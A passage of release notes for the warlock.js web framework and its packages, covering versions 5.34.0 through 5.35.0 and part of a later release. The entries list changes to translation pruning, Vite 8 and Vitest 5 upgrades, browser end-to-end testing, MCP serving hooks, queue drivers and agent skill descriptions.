    • FixedA browser whose hashed table answers 404 fetches the unhashed latest table, then retries the hashed one, and only then reports the failure and renders keys. Development serves it with no-store and carries every group, so the missing-key detector can read it. A name the server no longer holds (the eight most recent tables per locale are kept) answers 404 with no-store and never different bytes under the same name.
    • FixedPer-page pruning of every other group, in both modes: a page inlines only the keys its client module graph can look up. Literal keys, static-prefix template keys (which include their subtree), module-level constants, literal choices, and config.translations declarations in the page's setup file are resolved statically. Any other key-shaped string literal in the graph (a constant, an object mapping names to keys, a prop, an argument to a helper) that equals a key, a group or a subtree is shipped too, and the head of a template literal counts as a prefix. A key used with a count ships all its variants (items_one, items_other, ...) when the page names the base. A key that cannot be resolved (trans(key), or a translator passed on as a value) makes that page fall back to every non-shared group.
    • FixedThe web connector's build option build.translations: sharedGroups (default ["app", "common"]) and prune (default true). Development reads the same option, so both halves share the settings.
    • FixedThe hydration payload's translationAssets reference (URL, hash, groups and a development flag). Client navigation merges each payload's pruned keys into the locale's dictionary (or the global registry).
    • FixedDevelopment: a translation the page reads but its payload lacks is resolved from the full table, with one warning per key and page that names the config.translations declaration to add. A base key whose count variants were delivered is not reported as missing.
    • FixedProduction: a missing key renders its key and is reported once through onClientError with the new kind: "translations". A shared table that cannot be loaded is retried once; the page then renders its keys and the failure is reported the same way.
    • Fixedwarlock check reports WL9104 for a translation key computed at runtime in src/web.
    • FixedGate A's refusal of Node builtins in the bundler's external option works on Vite 8. Rolldown does not pass external to buildStart, so the guard reads the option in the options hook and normalizes a string, a RegExp, an array or a function; without this a build with fs externalized would have shipped it unrefused.
    • FixedClient budget attribution (clientBudgetModules) reads Rolldown's renderedLength, and a spec runs it on a real build.
    • FixedAn app that still has Vite 7 installed gets a clear error before the client build or the development server starts, naming the found version and the upgrade command. Before, warlock build failed with Could not resolve entry module because Vite 7 ignores build.rolldownOptions. A Vite version that cannot be parsed is not blocked.
    • SecurityNamed API routes are no longer published to every visitor. Admin, auth and internal endpoints are embedded only in pages whose browser code reaches them, and never for a route registered with clientVisible: false. Server-side authorization still decides each request.
    @warlock.js/coreAdded 7Changed 1Fixed 1
    • AddedclientVisible route option. Set clientVisible: false on a named API route to keep it out of every page's browser route table and out of client code. The route snapshot carries clientVisible: false only on such routes.
    • Addedwarlock check reports WL9019 (warning) for a browser route call (apiHref(), useSubmitForm({ route })) whose name cannot be read statically, and WL9020 (error) for a browser reference to a clientVisible: false route.
    • Addedbuild.budgets.payload (PayloadBudget type) sets the inline payload budget for each rendered document. Web reads it; warlock build does not measure it.
    • Addedpage.measurePayload({ limit }) in the browser end-to-end kit records a document's inline payload under the evidence payloads.
    • AddedStatic translation usage analysis for the client module graph: scanTranslationSource, analyzeTranslationGraph, analyzePageTranslationUsage, readTranslationDeclarations, translationDeclarationUsage, isTranslationKeyUsed and mergeTranslationUsage. A usage lists the exact keys (each with its subtree), the static prefixes of template keys, the key-shaped string literals and template heads found anywhere in the walked modules (literals, literalPrefixes), and whether any lookup is dynamic, with the source position of each dynamic lookup. Literal keys, module-level constants, literal choices, useTrans() bindings under any local name, and config.translations declarations are resolved; a translator passed on as a value, or a key with no static prefix, is dynamic. isTranslationKeyUsed also treats a name as the base of its count variants: "cart.items" reaches cart.items_one and cart.items_other, but not cart.itemsTotal or cart.items_one.note.
    • AddedWL9104: warlock check warns when a translation key in src/web is computed at runtime, because the page that renders it then ships every translation group. The warning points at the config.translations declaration that resolves it.
    • Addedwarlock upgrade codemod vite-8-vitest-5 (release 5.36.0): raises vite, vitest, @vitest/* and @vitejs/plugin-react in package.json (dependencies, devDependencies, overrides, resolutions), rewrites a test runner that imports VitestTestRunner from vitest/runners to TestRunner from vitest, and lists removed vitest/* entry points, a Vite config esbuild option and object manualChunks for review. A 5.36.0 note lists the Vitest 5 default changes.
    • Changedwarlock add test generates a runner that extends TestRunner from vitest (Vitest 5 has no vitest/runners) and declares vitest and @vitest/coverage-v8 ^5.0.3. warlock add web declares vite ^8.3.3 and @vitejs/plugin-react ^6.1.2.
    • FixedThe browser end-to-end kit keeps the reason a target was last observed as blocking when page.click() (and the fill() and type() calls that click first) or a wait runs out of time. A CDP timeout caused by the shrinking deadline no longer replaces that reason, so the error still reads, for example, "target is covered by DIALOG#modal" instead of a CDP timeout.
    @warlock.js/aiChanged 1
    • ChangedThe Matchers augmentation that types toRouteTo, toConverge, toPassStep and toOutputShape follows Vitest 5's Matchers<R, T> signature. With Vitest 5 installed, expect(...) keeps its custom matcher types; the augmentation no longer compiles against Vitest 4.
    @warlock.js/cascadeFixed 1
    • FixedUnsetting a stored empty object (model.unset("field") on a field holding {}) is persisted: the model reports the change and save() issues the $unset. It was silently skipped, because an empty object has no leaves to diff; a spec only passed by reading a mock call left over from an earlier test.
    create-warlockChanged 1
    • ChangedThe template pins Vitest 5.0.3. Selecting the test feature generates the runner against Vitest 5's TestRunner, and a web project declares Vite 8 and @vitejs/plugin-react 6. The generator's own dev dependencies use @types/node 22, the minimum Vitest 5 supports.
    5.35.0
    October 21, 2026

    Design system, web generators, new check rules, API helpers, budgets, accessibility tests and faster test runs. Breaking: root components now run in the browser so hydration covers the full document ancestry (move server-only root work to the root setup loader), and model resources receive hidden columns with hidden enforced on final output. warlock add design-system scaffolds fourteen accessible shadcn controls wired to Mongez React Form, included by default in full-stack and Tailwind + shadcn starters; warlock generate page, form and crud-ui scaffold pages, forms and guarded CRUD screens. warlock check adds WL9013–WL9018 (component size, component-owned state, native controls and validation, controllers without a response schema) and --fix; warlock inspect --section files and warlock explain <file> map files, imports and the routes that reach them. Core adds AppError, listEndpoint, assertResponseContracts, per-page gzip build budgets and page.assertAccessible() with axe-core; tests gain opt-in worker lifetime, setupTest({ mode: "unit" }) and setup profiling. Auth bounds Google and JWKS requests; web keeps sessions in sync after refresh, locale changes and page swaps.

    Full release notes or run npx warlock release-notes.

    @warlock.js/coreAdded 17Changed 4Fixed 10
    • AddedTyped AppError domain failures with native HTTP handling and http.errorResponse context, preserving legacy HTTP error behavior.
    • AddedlistEndpoint builds typed plural-key page responses from validated query controls and repository list callbacks, with bounded limits and explicit sort/filter whitelists.
    • AddedassertResponseContracts checks real HTTP responses against declared status schemas, with fixtures, resource support and optional complete status coverage.
    • AddedWeb convention warnings for component size, multiple components, component-owned state/effects and handlers, native form controls and native validation; exported controller response schema warnings (WL9013–WL9018). Configure severity and component line limits through .warlock-check.json.
    • Addedwarlock check --fix applies safe relative import extension fixes and exposes available edits through the optional JSON fix field.
    • Addedwarlock inspect --section files lists every file under src/ with its module, convention role, exports and resolved import graph without booting the app. The versioned report schema and MCP inspect_files tool expose the same section.
    • Addedwarlock explain <file> prints exports, importers and transitively reaching routes/pages, with --json support. Error-code explanations continue to work.
    • AddedPer-page gzip JS/CSS build budgets with route overrides, warn/error enforcement, previous-build deltas, and warlock build --json reports. Existing apps remain report-only unless limits are configured.
    • AddedBrowser page.assertAccessible(options?) using a pinned local axe-core injection over CDP, exact rule/selector allowances, violation diagnostics and accessibility evidence.
    • AddedOpt-in tests.lifetime: "worker" for Vitest forks in a single run with a shared module graph (isolate: false) and the generated cleanup runner. Connectors boot once per worker, file boundaries reset fakes/clock/IDs/private storage and await tests.resetBetweenFiles, and worker cleanup awaits shutdown. getTestRuntimeStats() exposes bootstrap/file counts. Unsafe pools, watch, isolation and missing runner configurations are refused.
    • AddedsetupTest({ mode: "unit", importModule }) loads configuration values once per module graph without bootstrap hooks, config special handlers, connectors, fake installation or native loader hooks.
    • Addedtests.profileSetup / WARLOCK_TEST_PROFILE=1 report setup steps and teardown per file, with summaries per worker including final shutdown; the generated TestSetupReporter aggregates a run summary across workers. setupTest({ file }) labels profiles.
    • AddedrecommendedTestWorkers() from @warlock.js/core/vite respects CPU affinity and visible cgroup v2 CPU quotas. Testing docs/skills cover shared HTTP/database contention and affected-tests plus integration release gates, with a full suite nightly.
    • Addedwarlock add design-system scaffolds app-owned accessible shadcn controls connected to Mongez React Form, with pinned dependencies, a Tailwind preflight before mutations, preservation of existing files, and dry-run support.
    • Addedwarlock generate page <path> scaffolds a UI-only page and setup companion with route, loader and metadata; --interactive adds a feature hook.
    • Addedwarlock generate form <name> [--module <name>] [--endpoint] scaffolds design-system controls, a shared Seal schema, a useSubmitForm hook and an optional guarded controller/route with validation and response schema.
    • Addedwarlock generate crud-ui <module> scaffolds guarded list/create/edit pages, schema-backed forms, endpoint-derived filters, pagination and a delete action for conventional CRUD modules. All web generators support dry-run JSON reports and preserve existing files unless forced.
    • ChangedDocument the development devtools captured-mail preview without logging message bodies.
    • Changedwarlock check --changed includes transitive import dependents for scoped lint, conventions and related tests. Changed typecheck diagnostics now include transitive importers.
    • ChangedNew warlock add test configs split pure *.spec.ts files from integration *.test.ts and specs under tests/; only integration loads framework/HTTP setup. Existing configs are preserved. The generated runner requires Vitest 4.1.10 or newer.
    • ChangedReference workload before this change: 1,335 files, 3,532.79 seconds summed setup, 4,465.55 seconds wall time (reported on 5.33.0). No after measurement was run under the implementation check-once rule. The startup cost model changes from one bootstrap per file to one per active worker plus reset cost; this is not a measured wall-time speedup. Use the new profiling switch to compare the same suite and worker count.
    • FixedRestore application-config-only preload for feature generators, preserving configured notification locales and one-shot CLI exit. Correct cleanup test hooks to return void.
    • FixedFix CRUD UI generation with the Oxc parser, ES2022-compatible tooling arrays, nullable component bodies, and app-free feature scaffolding. Align inspection CLI tests and convention error-code headings.
    • FixedWait for owned MessagePort close events in the test-server disposal regression so referenced handles are actually released.
    • FixedRecognize required and optional auth descriptors in route inspection and generated agent summaries, including inherited session guards.
    • FixedDescribe optional authentication as an anonymous security alternative in OpenAPI while keeping legacy guards required.
    • FixedGenerate notification locale strings for every configured locale with an explicit English fallback.
    • FixedExclude co-located tests and test-only directories from configuration discovery and reload.
    • FixedRegister module JSON dictionaries in each test worker and remove them during teardown.
    • FixedDispose HTTP test-server file runtime resources and pending loader acknowledgements on shutdown and failed startup.
    • FixedNative ESM loader registration shares a process-global promise across repeated initialization and module reloads; test startup skips the hook when an importer runs application modules through Vitest.
    @warlock.js/webAdded 4Changed 1Fixed 6
    • AddedAdd the build-rtl-and-mixed-direction-ui and preserve-feedback-and-motion agent skill topics, covering RTL layouts and mixed-direction content, and accessible feedback, failure handling and motion patterns.
    • AddedClient manifest traversal for first-visit and deferred asset sizes, including hydration, page layouts, setup registrations and error boundaries; Rollup module attribution identifies the largest contributors.
    • AddedWatched development regression coverage for shared-store connectivity and a characterization of layout form identifier hydration parity.
    • Addedbuild-accessible-controls skill and design-system documentation cover shared Mongez controls, keyboard and focus behavior, stable ids, RTL, visual checked states, empty/reset semantics, and calendar dates versus instants.
    • ChangedCorrect the ClientOnly opening example to defer browser reads through a function child, and update the navigation and page-guard skill examples to match the real API.
    • FixedProduction builds no longer fail the client budget report when a setup file has no browser register hook; its empty projection adds no bytes.
    • FixedCarry resolved document slots through the shared hydration payload so navigation data and document-embedded payloads stay identical.
    • FixedInclude generated guarded-route output in the page protection skill so its session and useUser examples compile independently.
    • FixedBREAKING Hydrate the same full-document root ancestry as SSR, preserving React useId() and generated form IDs beneath layouts. Root components now execute in the browser; move server-only work to root setup loaders. Client navigation continues to replace the layout/page subtree inside #vessel.
    • FixedInstall fetched sessions on refresh, locale changes, and central page swaps, including guest sessions; superseded responses cannot publish identity.
    • FixedPreserve the shared request-store resolver and request-keyed scopes across server module re-evaluation during development.
    create-warlockAdded 6Changed 2Fixed 1
    • AddedNew projects configure gzip client budgets of 150kb JavaScript and 50kb CSS, enforced by warlock build.
    • AddedWeb starter home-page browser spec with accessibility, overflow and screenshot checks at phone and desktop widths; omitted from API-only projects.
    • AddedPin the template's Vitest to 4.1.10 for awaited worker cleanup support. Selecting the test feature uses core's unit/integration projects generator, including quota-aware worker sizing and the cleanup runner, while preserving existing configs.
    • AddedUpdate the testing-strategy project skill and scaffolding docs with matching file conventions, cheap unit configuration, opt-in worker lifetime/reset hooks, setup profiling and an affected-tests plus integration release gate with full suites nightly.
    • AddedFull-stack and Tailwind + shadcn selections include fourteen accessible app-owned form controls, separate behavior hooks and props types, and exact UI dependency pins. The optional template and add-command payload share an integrity contract.
    • AddedTemplate web standards name the shared controls and their direct web-alias imports; template verification includes the optional sources.
    • ChangedAdd a state ownership rule to the web code standards skill: loader data is server truth, and shared client state lives in named store modules.
    • ChangedTeach the project API design skill to use typed domain errors, bounded list endpoints and response-schema contract assertions. The starter formatter preserves explicitly safe AppError messages and details through its native typed context.
    • FixedKeep the existing-Tailwind design controls label within narrow terminal rows and supply the ResizeObserver test adapter needed by Radix form inputs in jsdom, and complete async submission fixtures before resubmitting. Pin matching React and React DOM test dependencies for standalone runs.
    @warlock.js/authFixed 5
    • FixedRestore session middleware response fixtures, keep session projection defaults typed as unknown, and skip renewal without an explicit user type.
    • FixedExclude expired refresh rows from session caps while preserving oldest-first eviction.
    • FixedBound Google token and JWKS requests with configurable timeoutMs, fetch and endpoints options; retain all identity checks and isolate JWKS caches.
    • FixedReject unavailable refresh families outside the transaction callback so expected credential rejection is not logged as a database failure.
    • FixedPublish required/optional session guard descriptors and markers for grouped route inspection.
    @warlock.js/cascadeFixed 1
    • FixedBREAKING Model resources receive hidden columns for public field derivations; hidden is enforced on final resource output instead of its input.
    5.34.3
    October 20, 2026

    One concise agent skill per package, stronger starter standards, and one JSON error shape. Every package exports exactly one skill named after it, with package-level descriptions of at most 450 characters (about 13,300 characters in total, down from 22,900). New apps get revised project skills: single-responsibility components, Mongez React Form validation only, custom accessible controls on the project's UI kit, camelCase response fields, { error: { code, message } } errors, responseSchema and Idempotency-Key guidance, and Oxlint rules that enforce them. Core adds the opt-in http.errorResponse formatter for every JSON error, ResponseStatus gains 413 and 422, and warlock e2e gains browser.startupTimeoutMs (default 30 seconds).

    Full release notes or run npx warlock release-notes.

    create-warlockChanged 4Fixed 4
    • ChangedNew app models expose a separate public UUID; sample post updates and user filters resolve public IDs, and user lists return the documented pagination envelope.
    • ChangedEnable non-type-aware Oxlint rules for explicit any, braces, member accessibility, and console usage in both scaffold toolchain copies.
    • ChangedStrengthen the web code standards skill with single-responsibility components, Mongez React Form validation, accessible custom controls, and explicit UI kit selection; consolidate setup-file guidance and correct typed-route advice.
    • ChangedThe agent skill now exports as create-warlock; package discovery descriptions stay within 450 characters.
    • FixedDeclare response schemas for every starter controller, including authentication and the API home page.
    • FixedKeep the public UUID integrity assertion independent of formatter line breaks while checking the complete schema default callback.
    • FixedAlign project skills with real handler signatures, resource source-key tuples, public UUIDs, response schemas, idempotency headers, and the canonical JSON error envelope. Keep discovery descriptions within 450 characters and resolve cross-skill references by name.
    • FixedExtract contact locale and form-control behavior into feature hooks and separate components with dedicated props types; preserve form interactions and consume normalized validation details.
    @warlock.js/coreAdded 1Changed 2Fixed 3
    • AddedOpt-in http.errorResponse formats JSON error bodies at the transport boundary, including framework validation, unmatched routes, early parsing errors, rate limits and server errors, with a correlated request ID. Existing bodies remain unchanged unless configured.
    • ChangedKeep the upgrade toolchain's enabled explicit-any, brace and console rules in sync with the new-app scaffold.
    • ChangedCondensed the package agent skill description to at most 450 characters, with API names and package routing guidance.
    • Fixedwarlock e2e waits up to browser.startupTimeoutMs (new option, default 30 seconds instead of a fixed 15) for the browser's DevTools endpoint, so a slow first launch on a busy machine no longer fails the run.
    • FixedResponseStatus includes 413 (CONTENT_TOO_LARGE) and 422 (UNPROCESSABLE_ENTITY), the statuses response.contentTooLarge() and response.unprocessableEntity() send, so responseSchema can declare them.
    • FixedType Fastify error-response hook and test handler parameters explicitly, and align upgrade fixture expectations with the enabled explicit-any, brace and console rules.
    @warlock.js/accessChanged 1
    • ChangedCondensed the package agent skill description to at most 450 characters, with API names and package routing guidance.
    @warlock.js/aiChanged 1
    • ChangedCondensed the package agent skill description to at most 450 characters, with API names and package routing guidance.
    @warlock.js/ai-anthropicChanged 1
    • ChangedThe agent skill now exports as warlock-js-ai-anthropic; package discovery descriptions stay within 450 characters.
    @warlock.js/ai-bedrockChanged 1
    • ChangedThe agent skill now exports as warlock-js-ai-bedrock; package discovery descriptions stay within 450 characters.
    @warlock.js/ai-cliChanged 1
    • ChangedCondensed the package agent skill description to at most 450 characters, with API names and package routing guidance.
    @warlock.js/ai-deepseekChanged 1
    • ChangedThe agent skill now exports as warlock-js-ai-deepseek; package discovery descriptions stay within 450 characters.
    @warlock.js/ai-googleChanged 1
    • ChangedThe agent skill now exports as warlock-js-ai-google; package discovery descriptions stay within 450 characters.
    @warlock.js/ai-groqChanged 1
    • ChangedThe agent skill now exports as warlock-js-ai-groq; package discovery descriptions stay within 450 characters.
    @warlock.js/ai-liveChanged 1
    • ChangedThe agent skill now exports as warlock-js-ai-live; package discovery descriptions stay within 450 characters.
    @warlock.js/ai-mistralChanged 1
    • ChangedThe agent skill now exports as warlock-js-ai-mistral; package discovery descriptions stay within 450 characters.
    @warlock.js/ai-ollamaChanged 1
    • ChangedThe agent skill now exports as warlock-js-ai-ollama; package discovery descriptions stay within 450 characters.
    @warlock.js/ai-openaiChanged 1
    • ChangedThe agent skill now exports as warlock-js-ai-openai; package discovery descriptions stay within 450 characters.
    @warlock.js/ai-panopticChanged 1
    • ChangedCondensed the package agent skill description to at most 450 characters, with API names and package routing guidance.
    @warlock.js/ai-toolsChanged 1
    • ChangedCondensed the package agent skill description to at most 450 characters, with API names and package routing guidance.
    @warlock.js/ai-workspaceChanged 1
    • ChangedCondensed the package agent skill description to at most 450 characters, with API names and package routing guidance.
    @warlock.js/ai-xaiChanged 1
    • ChangedThe agent skill now exports as warlock-js-ai-xai; package discovery descriptions stay within 450 characters.
    @warlock.js/authChanged 1
    • ChangedCondensed the package agent skill description to at most 450 characters, with API names and package routing guidance.
    @warlock.js/cacheChanged 1
    • ChangedCondensed the package agent skill description to at most 450 characters, with API names and package routing guidance.
    @warlock.js/cascadeChanged 1
    • ChangedCondensed the package agent skill description to at most 450 characters, with API names and package routing guidance.
    @warlock.js/contextChanged 1
    • ChangedCondensed the package agent skill description to at most 450 characters, with API names and package routing guidance.
    @warlock.js/devtoolsChanged 1
    • ChangedThe agent skill now exports as warlock-js-devtools; package discovery descriptions stay within 450 characters.
    @warlock.js/fsChanged 1
    • ChangedCondensed the package agent skill description to at most 450 characters, with API names and package routing guidance.
    @warlock.js/heraldChanged 1
    • ChangedCondensed the package agent skill description to at most 450 characters, with API names and package routing guidance.
    @warlock.js/loggerChanged 1
    • ChangedCondensed the package agent skill description to at most 450 characters, with API names and package routing guidance.
    @warlock.js/notificationsChanged 1
    • ChangedCondensed the package agent skill description to at most 450 characters, with API names and package routing guidance.
    @warlock.js/processChanged 1
    • ChangedThe agent skill now exports as warlock-js-process; package discovery descriptions stay within 450 characters.
    @warlock.js/queueChanged 1
    • ChangedCondensed the package agent skill description to at most 450 characters, with API names and package routing guidance.
    @warlock.js/schedulerChanged 1
    • ChangedCondensed the package agent skill description to at most 450 characters, with API names and package routing guidance.
    @warlock.js/sealChanged 1
    • ChangedCondensed the package agent skill description to at most 450 characters, with API names and package routing guidance.
    @warlock.js/sitemapChanged 1
    • ChangedThe agent skill now exports as warlock-js-sitemap; package discovery descriptions stay within 450 characters.
    @warlock.js/webChanged 1
    • ChangedCondensed the package agent skill description to at most 450 characters, with API names and package routing guidance.
    5.34.2
    October 19, 2026

    One complete skill index per package. Skills only; no runtime or API changes. The framework issue-reporting guide is now the report-framework-issue topic of @warlock.js/core, so agent-kit delivers it to apps (it was a loose file that never reached them). Every package index lists all of its topics, stale references are fixed, nine duplicate overview topics are merged into their indexes, and the hand-maintained skills/README.md catalogs are removed in favour of skills/index.md. The release gate and CI now fail when an index names a missing topic, leaves one out, or a package ships a loose skill file.

    Full release notes or run npx warlock release-notes.

    @warlock.js/accessFixed 1
    • FixedMerge package orientation into the grouped skill index and remove the duplicate overview topic; preserve that orientation in generated LLM projections.
    @warlock.js/aiFixed 1
    • FixedQualify provider and companion package references in the grouped index, remove the redundant loose catalog, and include package orientation in LLM projections.
    @warlock.js/ai-anthropicFixed 1
    • FixedReplace the loose skill catalog with a package index that points to the provider setup topic, and include orientation in generated LLM projections.
    @warlock.js/ai-bedrockFixed 1
    • FixedReplace the loose skill catalog with a package index that points to the provider setup topic, and include orientation in generated LLM projections.
    @warlock.js/ai-cliFixed 1
    • FixedKeep the package skill description within the recommended size, remove the redundant loose catalog, and include package orientation in LLM projections.
    @warlock.js/ai-googleFixed 1
    • FixedReplace the loose skill catalog with a package index that points to the provider setup topic, and include orientation in generated LLM projections.
    @warlock.js/ai-ollamaFixed 1
    • FixedReplace the loose skill catalog with a package index that points to the provider setup topic, and include orientation in generated LLM projections.
    @warlock.js/ai-openaiFixed 1
    • FixedReplace the loose skill catalog with a package index that points to the provider setup topic, and include orientation in generated LLM projections.
    @warlock.js/ai-panopticFixed 1
    • FixedRemove the redundant loose skill catalog and include package orientation in generated LLM projections.
    @warlock.js/ai-toolsFixed 1
    • FixedQualify custom-tool guidance as a topic of @warlock.js/ai, remove the redundant loose skill catalog, and include package orientation in LLM projections.
    @warlock.js/ai-workspaceFixed 1
    • FixedPoint the README at the package skill index, remove the redundant loose catalog, and include orientation in generated LLM projections.
    @warlock.js/authFixed 1
    • FixedMerge package orientation into the grouped skill index and remove the duplicate overview topic; preserve that orientation in generated LLM projections.
    @warlock.js/cacheFixed 1
    • FixedMerge package orientation into the grouped skill index and remove the duplicate overview topic; preserve that orientation in generated LLM projections. List the cache utility topic in the index and fix the orientation link.
    @warlock.js/cascadeFixed 1
    • FixedRemove the redundant loose skill catalog and include package orientation in generated LLM projections.
    @warlock.js/contextFixed 1
    • FixedMerge package orientation into the grouped skill index and remove the duplicate overview topic; preserve that orientation in generated LLM projections.
    @warlock.js/coreFixed 1
    • FixedExport framework issue-reporting guidance as a proper skill topic; complete index coverage for browser testing and upgrade guidance, and include package orientation in LLM projections.
    @warlock.js/fsFixed 1
    • FixedMerge package orientation into the grouped skill index and remove the duplicate overview topic; preserve that orientation in generated LLM projections.
    @warlock.js/heraldFixed 1
    • FixedRemove the redundant loose skill catalog and include package orientation in generated LLM projections.
    @warlock.js/loggerFixed 1
    • FixedMerge package orientation into the grouped skill index and remove the duplicate overview topic; preserve that orientation in generated LLM projections.
    @warlock.js/notificationsFixed 1
    • FixedPoint the README at the package skill index, remove the outdated loose catalog, and include orientation in generated LLM projections.
    @warlock.js/queueFixed 1
    • FixedMerge package orientation into the grouped skill index and remove the duplicate overview topic; preserve that orientation in generated LLM projections.
    @warlock.js/schedulerFixed 1
    • FixedMerge package orientation into the grouped skill index and remove the duplicate overview topic; preserve that orientation in generated LLM projections.
    @warlock.js/sealFixed 1
    • FixedMerge package orientation into the grouped skill index and remove the duplicate overview topic; preserve that orientation in generated LLM projections.
    @warlock.js/webFixed 1
    • FixedKeep the package skill description within the recommended size and include its orientation in generated LLM projections.
    5.34.1
    October 19, 2026

    Page setup files become the documented way to add page logic, plus MCP and secrets fixes. A page's config, loader, register and action/actions live in its *.setup.ts file and its UI file holds only components; metadata always lives in config.metadata. A new Page setup files guide, and every web docs example, skill, the starter template and the page/layout/root generators follow it; the setup-file error lists every allowed export. ai-tools: tools from a remote MCP server now show the model their real input schema (Standard JSON Schema), and ai.mcp.serve HTTP transports accept onAuthRefusal to keep an app's own auth-error response, with Host/Origin checks unchanged. Core: secrets.backend() reports whether the keychain, encrypted-file or memory backend is active, reusing core's own selection. Docs: tables in MDX pages render again. No breaking changes.

    Full release notes or run npx warlock release-notes.

    @warlock.js/ai-toolsAdded 1Fixed 1
    • AddedHTTP transport.onAuthRefusal customizes denied authentication responses for the MCP endpoint and side routes using typed safe context, 4xx/5xx statuses, allowlisted headers and JSON bodies. Host/Origin guards retain precedence, invalid or throwing hooks retain the default refusal, and handlers never run after a denial.
    • FixedTools adapted from a remote MCP server now show the model their real input schema. jsonSchemaToStandard implements Standard JSON Schema (~standard.jsonSchema), so extractJsonSchema and every provider adapter read the server's inputSchema instead of falling back to a parameterless { type: "object" }, which made models guess argument names and retry. Adapters receive copies of the schema; a tool without one advertises { type: "object", properties: {} }.
    @warlock.js/coreAdded 1Changed 1
    • AddedAsync secrets.backend() and SecretStore.backend() report "keychain", "file" or "memory" without credentials, sharing lazy selection and its memoized keychain probe. Resolved driver configuration, environment lookups and injected backend metadata have documented reporting semantics; memory fakes report "memory" without probing.
    • ChangedGenerate root.setup.ts and index.setup.ts with Web starter policy and universal registration, keeping the UI files focused on components.
    @warlock.js/webFixed 2
    • FixedList all five allowed setup exports (config, loader, register, action, actions) in composition errors.
    • FixedCorrect Web documentation and skills to keep page, layout, root, and error logic in setup files, with metadata in config.metadata; add a complete page setup guide.
    create-warlockChanged 1
    • ChangedDocument setup-file ownership in the Web starter and its code standards; retain metadata in config.metadata and cover UI/setup pairs in template integrity specs.
    5.34.0
    October 19, 2026

    ESLint and Prettier support removed, plus multi-file transactions, browser end-to-end tests, an AI tool catalogue, a local queue driver and MCP serving hooks. The ESLint checker, --lint eslint, devServer.healthCheckers.eslint and Prettier scripts are gone; each removed option fails with a message naming 5.34.0, and no published package depends on ESLint or Prettier. warlock upgrade --from 5.33 --to 5.34.0 migrates apps and now ports custom ESLint rules to Oxlint where an equivalent exists, reporting the rest; new and migrated apps enable Oxlint's correctness rules, and npm apps with a pnpm-workspace.yaml get the right install hint. fs: fs.transaction() stages multi-file writes with read-your-writes, hash or epoch preconditions, a durable journal with crash recovery, operation-id replay and consistent reads. Core: warlock e2e and @warlock.js/core/e2e drive Chrome or Edge over the DevTools protocol with hit-tested clicks, overflow checks at 1280 and 390 px, console and network checks, evidence and PID-verified teardown; an in-memory secrets backend for built-app tests. AI: ai.tools.catalogue() advertises a small core plus governed search and call meta-tools; ai.mcp.serve adds listFilter, HTTP transport.routes, validateCallParams and keeps McpError codes. Queue: driver: "local" (SQLite via node:sqlite, no Redis) and driver: "memory". Seal: v.record(key, value). Web: refresh events carry a reason, and shared data stays fresh across shell swaps. Breaking: ESLint/Prettier removal, Oxlint correctness rules, v.object() refuses arrays and non-plain objects.

    Full release notes or run npx warlock release-notes.

    @warlock.js/coreAdded 4Changed 1Fixed 2Removed 1
    • AddedSelect an isolated in-memory secrets backend through SECRETS_DRIVER=memory or secrets.driver, including built-server test deployments and explicit SecretStore options. Configuration overrides the environment; unknown drivers fail closed.
    • AddedRefuse the memory driver under NODE_ENV=production unless allowMemoryInProduction: true is explicitly configured; preserve log masking and namespace isolation without keychain/environment/file access.
    • AddedAdd warlock e2e and the isolated @warlock.js/core/e2e Node subpath: owned app/build fixtures and browser profiles, direct CDP with native WebSocket, stable hit-tested clicks, editable text and navigation waits, responsive screenshots and overflow assertions, console/network allowlists, per-run evidence and PID-verified process-group cleanup. Include fake-CDP coverage, real-browser integration specs and a complete browser-testing guide/skill.
    • Addedoxc-toolchain-removal runs on warlock upgrade --from 5.33 --to 5.34.0, reusing the preserved 5.33 oxc-toolchain migration. It ports literal folder restrictions, native TypeScript rule equivalents, unused-import checks, globals and ignores; unsupported rules/options report their source and file scope without executing config. Native type-aware equivalents enable the optional app engine automatically.
    • ChangedBREAKING Migrated template configs enable Oxlint correctness: error; stale literal healthCheckers.eslint options are removed.
    • FixedDetect a real lockfile beside pnpm-workspace.yaml before treating the directory as pnpm. npm apps with only package-lock.json now receive the correct install hint.
    • FixedValidate Postman draft-04 schemas with an explicit development-only Ajv adapter instead of resolving ESLint's private dependency. Generated source formatting checks use Oxfmt.
    • RemovedBREAKING Remove the ESLint development checker, CLI selection, checker config option and production dependency. warlock check --lint eslint now fails with the 5.34.0 removal and Oxlint/Oxfmt migration guidance.
    @warlock.js/ai-toolsAdded 3Fixed 2
    • Addedai.mcp.serve supports async listFilter(context, tools) for per-request discovery independent of callability, and validateCallParams(context, params) for application envelope policy before lookup, schema validation and call policy, over HTTP and stdio. Default handling of unknown fields and unsupported task metadata is unchanged.
    • AddedHTTP transport.routes adds exact method/path application routes beneath the MCP URL with shared authentication, principal/context, Host/Origin guards, body limits, disconnect signals and shutdown draining. Conflicting or invalid route configuration fails before binding.
    • AddedExport McpError(code, message, data?) and the new discovery, envelope and HTTP route contracts.
    • FixedbeforeCall and envelope policy preserve a thrown McpError's integer code, message and optional data, including official SDK errors, without a runtime SDK dependency. Other throws retain the existing invalid-params mapping.
    • FixedExtend the core ai.tools namespace on registration, preserving catalogue and measure while adding the ready-made factories. AiToolsNamespace remains re-exported for consumers.
    @warlock.js/queueAdded 4
    • AddedSelect driver: "local" for durable single-host SQLite queues using Node's built-in node:sqlite without Redis, or driver: "memory" for tests executing real handlers. Existing configuration defaults to BullMQ.
    • AddedA shared QueueDriver contract and getQueueDriver() for dispatch, snapshots, failed-job recovery, and worker lifecycle across all backends.
    • AddedLocal/memory delays, priorities, retries with fixed/exponential backoff, retention, per-queue concurrency, context propagation, progress, and results through the existing defineJob() API.
    • AddedTransactional claims, renewable fenced leases, recovery after worker crashes, and bounded graceful shutdown releasing unfinished local jobs. Local/memory handlers receive an optional cancellation signal.
    @warlock.js/sealAdded 1Changed 1Fixed 1Removed 1
    • Addedv.record(keyValidator, valueValidator, errorMessage?) validates original property names and values, infers partial literal-key dictionaries, and emits key JSON Schema. Existing value-only and error-message forms remain supported.
    • ChangedBREAKING v.object() requires a plain or null-prototype object; arrays, built-ins, class instances and custom prototypes fail even with unknown-key options enabled.
    • FixedReject malformed record validator arguments at schema definition with a clear TypeError.
    • RemovedRemove the remaining ESLint, Prettier and typescript-eslint development dependencies; package linting and formatting use Oxlint/Oxfmt.
    @warlock.js/fsAdded 3
    • Addedfs.transaction and fs.openTransactions: root-scoped multi-file staging with read-your-writes, content-hash/root-epoch preconditions, process ownership, durable intent journals, automatic roll-forward recovery and operation-id result replay.
